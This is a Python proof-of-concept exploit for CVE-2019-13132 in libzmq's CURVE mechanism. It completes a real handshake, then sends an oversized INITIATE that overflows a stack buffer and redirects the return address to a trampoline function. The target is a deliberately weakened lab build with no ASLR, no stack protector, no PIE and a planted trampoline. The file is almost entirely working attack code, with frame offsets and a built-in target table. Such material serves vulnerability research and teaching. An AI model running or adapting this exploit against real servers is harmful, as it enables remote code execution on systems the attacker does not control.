#!/usr/bin/env python3
"""
CVE-2019-13132 — full RCE via CURVE INITIATE stack buffer overflow.
libzmq <= 4.3.1.

Bug site: src/curve_server.cpp:327-336

  const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
  uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];   // 416 bytes
  memcpy (initiate_box + crypto_box_BOXZEROBYTES, initiate + 113,
          clen - crypto_box_BOXZEROBYTES);                      // size - 113

Only a minimum-size guard (size < 257) exists; no upper bound.  An INITIATE
with size > 513 overflows initiate_box's 400-byte payload region.

Exploit chain:
  1. Complete a real CURVE HELLO/WELCOME exchange (requires only the server's
     long-term *public* key — a public parameter by design).
  2. Build an oversized INITIATE with the genuine cookie from WELCOME.
  3. Overflow payload overwrites saved callee-regs + return address.
  4. Return address → lab_trampoline() in the non-PIE server binary.
  5. Trampoline uses raw syscalls to write proof file (/tmp/pwned-13132)
     with uid, pid, capabilities, and hostname.

Stack frame analysis (objdump of libzmq.so built with -O0 -fno-stack-protector):

  process_initiate prologue:
    push r15; push r14; push r13; push r12; push rbp; push rbx  (48 bytes)
    sub $0x628, %rsp                                             (1576 bytes)

  initiate_box at rsp+0x480, memcpy dest at rsp+0x490
  Return address at rsp+0x658
  Offset from memcpy dest to return address: 0x658 - 0x490 = 456 bytes

Requires:
  - ASLR disabled  (sysctl kernel.randomize_va_space=0)
  - Server built with -fno-stack-protector -fno-pie -no-pie
  - PyNaCl  (pip install pynacl)

Usage:
  python3 exploit.py [host] [port]
  python3 exploit.py [host] [port] --profile profile.json
  python3 exploit.py [host] [port] --trampoline 0x401206 --offset 456
"""

import argparse
import json
import socket
import struct
import sys
import time
from pathlib import Path

from nacl.bindings import crypto_box_open, crypto_box
from nacl.public import PrivateKey

SERVER_PUBLIC = bytes.fromhex(
    "a0fc5b1b84904141538373ef89e9b126087a722e5a23328a26eacb9a27ca045a"
)

# ═══════════════════════════════════════════════════════════════════
# Built-in offset table.
#
# Unlike Redis (which exposes redis_build_id via INFO), ZMTP has no
# runtime introspection — the greeting reveals only the protocol
# version (3.x) and mechanism (CURVE), nothing about the libzmq
# build.  So we can't auto-fingerprint the target.
#
# Instead we ship pre-computed offsets for the Docker lab build and
# fall back to --profile / --trampoline+--offset for other targets.
#
# offset_to_ret:   distance (bytes) from the vulnerable memcpy dest
#                  to the saved return address on process_initiate's
#                  stack frame.  Derived from the prologue:
#                    sub $0x628,%rsp  →  memcpy dest @ RSP+0x490
#                    6 pushes (48 B)  →  ret addr   @ RSP+0x658
#                    0x658 - 0x490 = 456
#                  Constant across libzmq 4.3.0 builds with -O0.
#
# trampoline_addr: absolute address of lab_trampoline() in the
#                  non-PIE server-curve binary.  Varies with the
#                  exact gcc version and source, but is fixed for
#                  a given Docker image build.
# ═══════════════════════════════════════════════════════════════════
BUILDS = {
    # Dockerfile lab build: Debian 12 (bookworm), gcc 12, libzmq 4.3.0
    # server-curve.c compiled with -O0 -fno-stack-protector -fno-pie -no-pie
    "lab-debian12-gcc12": {
        "trampoline_addr": 0x401206,
        "offset_to_ret": 456,
    },
}

DEFAULT_BUILD = "lab-debian12-gcc12"


def resolve_profile(args):
    """Resolve exploit parameters: CLI flags → profile.json → built-in defaults."""

    # Priority 1: explicit --trampoline / --offset on the command line
    if args.trampoline is not None or args.offset is not None:
        tramp = args.trampoline
        off = args.offset
        if tramp is None or off is None:
            sys.stderr.write("[!] --trampoline and --offset must both be given\n")
            sys.exit(1)
        sys.stderr.write("[*] source: command-line overrides\n")
        return {"trampoline_addr": tramp, "offset_to_ret": off}

    # Priority 2: --profile pointing to an existing file
    if args.profile:
        pf = Path(args.profile)
        if pf.exists():
            profile = json.loads(pf.read_text())
            sys.stderr.write(f"[*] source: {pf}\n")
            return profile

    # Priority 3: well-known default path (inside Docker container)
    default_path = Path("/opt/zmq-curve-rce/profile.json")
    if default_path.exists():
        profile = json.loads(default_path.read_text())
        sys.stderr.write(f"[*] source: {default_path}\n")
        return profile

    # Priority 4: built-in offset table
    build = BUILDS[DEFAULT_BUILD]
    sys.stderr.write(f"[*] source: built-in defaults ({DEFAULT_BUILD})\n")
    return dict(build)


def build_greeting():
    g = bytearray(64)
    g[0] = 0xFF
    g[9] = 0x7F
    g[10] = 0x03
    g[11] = 0x01
    g[12:32] = b"CURVE".ljust(20, b"\x00")
    g[32] = 0x00
    return bytes(g)


def recv_exact(s, n):
    out = b""
    while len(out) < n:
        chunk = s.recv(n - len(out))
        if not chunk:
            raise ConnectionResetError("peer closed")
        out += chunk
    return out


def curve_handshake(s, cli_sk_bytes, cli_pk_bytes):
    """HELLO/WELCOME exchange.  Returns (cookie_nonce, cookie_blob, server_short_pk)."""

    s.sendall(build_greeting())
    server_greeting = recv_exact(s, 64)
    if server_greeting[10] != 0x03:
        raise RuntimeError(f"unexpected greeting revision: {server_greeting[10]}")

    short_nonce = b"\x01" * 8
    full_nonce = b"CurveZMQHELLO---" + short_nonce
    hello_box = crypto_box(b"\x00" * 64, full_nonce, SERVER_PUBLIC, cli_sk_bytes)

    hello_body = (
        b"\x05HELLO"
        + b"\x01\x00"
        + b"\x00" * 72
        + cli_pk_bytes
        + short_nonce
        + hello_box
    )
    assert len(hello_body) == 200
    s.sendall(b"\x04" + bytes([len(hello_body)]) + hello_body)

    wel_flags = recv_exact(s, 1)[0]
    if wel_flags & 0x02:
        wel_size = struct.unpack(">Q", recv_exact(s, 8))[0]
    else:
        wel_size = recv_exact(s, 1)[0]
    wel_body = recv_exact(s, wel_size)

    if wel_body[:8] != b"\x07WELCOME":
        raise RuntimeError(f"expected WELCOME, got {wel_body[:8]!r}")

    welcome_short_nonce = wel_body[8:24]
    welcome_box_wire = wel_body[24:168]
    full_welcome_nonce = b"WELCOME-" + welcome_short_nonce
    welcome_plain = crypto_box_open(
        welcome_box_wire, full_welcome_nonce, SERVER_PUBLIC, cli_sk_bytes
    )
    server_short_pk = welcome_plain[0:32]
    cookie_short_nonce = welcome_plain[32:48]
    cookie_blob = welcome_plain[48:128]

    return cookie_short_nonce, cookie_blob, server_short_pk


def build_rce_initiate(cookie_nonce, cookie_blob, profile):
    """Build oversized INITIATE: padding → overwrite ret addr → trampoline."""

    offset_to_ret = profile["offset_to_ret"]
    trampoline_addr = profile["trampoline_addr"]

    payload_size = offset_to_ret + 8
    payload = bytearray(payload_size)

    for i in range(offset_to_ret):
        payload[i] = 0x41

    struct.pack_into("<Q", payload, offset_to_ret, trampoline_addr)

    initiate_short_nonce = b"\x02" * 8
    body = (
        b"\x08INITIATE"
        + cookie_nonce
        + cookie_blob
        + initiate_short_nonce
        + bytes(payload)
    )

    return body


def encode_long_command(body):
    return b"\x06" + struct.pack(">Q", len(body)) + body


def main():
    ap = argparse.ArgumentParser(
        description=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    ap.add_argument("host", nargs="?", default="127.0.0.1")
    ap.add_argument("port", nargs="?", type=int, default=5556)
    ap.add_argument(
        "--profile",
        default=None,
        help="path to profile.json (optional — built-in defaults used if absent)",
    )
    ap.add_argument(
        "--trampoline",
        type=lambda x: int(x, 0),
        default=None,
        help="override trampoline address (hex, e.g. 0x401206)",
    )
    ap.add_argument(
        "--offset",
        type=int,
        default=None,
        help="override offset from memcpy dest to return address (default: 456)",
    )
    args = ap.parse_args()

    profile = resolve_profile(args)

    sys.stderr.write(f"[*] target:         {args.host}:{args.port}\n")
    sys.stderr.write(f"[*] trampoline    @ 0x{profile['trampoline_addr']:016x}\n")
    sys.stderr.write(f"[*] offset to ret:  {profile['offset_to_ret']} bytes\n\n")

    cli_sk = PrivateKey.generate()
    cli_pk_bytes = bytes(cli_sk.public_key)
    cli_sk_bytes = bytes(cli_sk)

    s = socket.create_connection((args.host, args.port), timeout=5)
    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    s.settimeout(5)
    sys.stderr.write("[+] connected\n")

    cookie_nonce, cookie_blob, server_short_pk = curve_handshake(
        s, cli_sk_bytes, cli_pk_bytes
    )
    sys.stderr.write(
        f"[+] HELLO/WELCOME complete (S'={server_short_pk.hex()[:16]}...)\n"
    )

    body = build_rce_initiate(cookie_nonce, cookie_blob, profile)
    overflow_size = len(body) - 113
    s.sendall(encode_long_command(body))
    sys.stderr.write(
        f"[+] sent INITIATE ({len(body)} bytes, overflow = {overflow_size})\n"
    )
    sys.stderr.write(
        "[+] waiting for process_initiate() → ret → trampoline\n"
    )

    s.settimeout(3)
    try:
        leftover = s.recv(4096)
        if leftover:
            sys.stderr.write(f"[?] reply: {leftover[:40].hex()}\n")
    except (socket.timeout, ConnectionResetError, BrokenPipeError) as e:
        sys.stderr.write(f"[!] {type(e).__name__} (expected — server crashed)\n")
    s.close()

    time.sleep(0.5)
    sys.stderr.write("[*] done — check /tmp/pwned-13132 on target\n")


if __name__ == "__main__":
    main()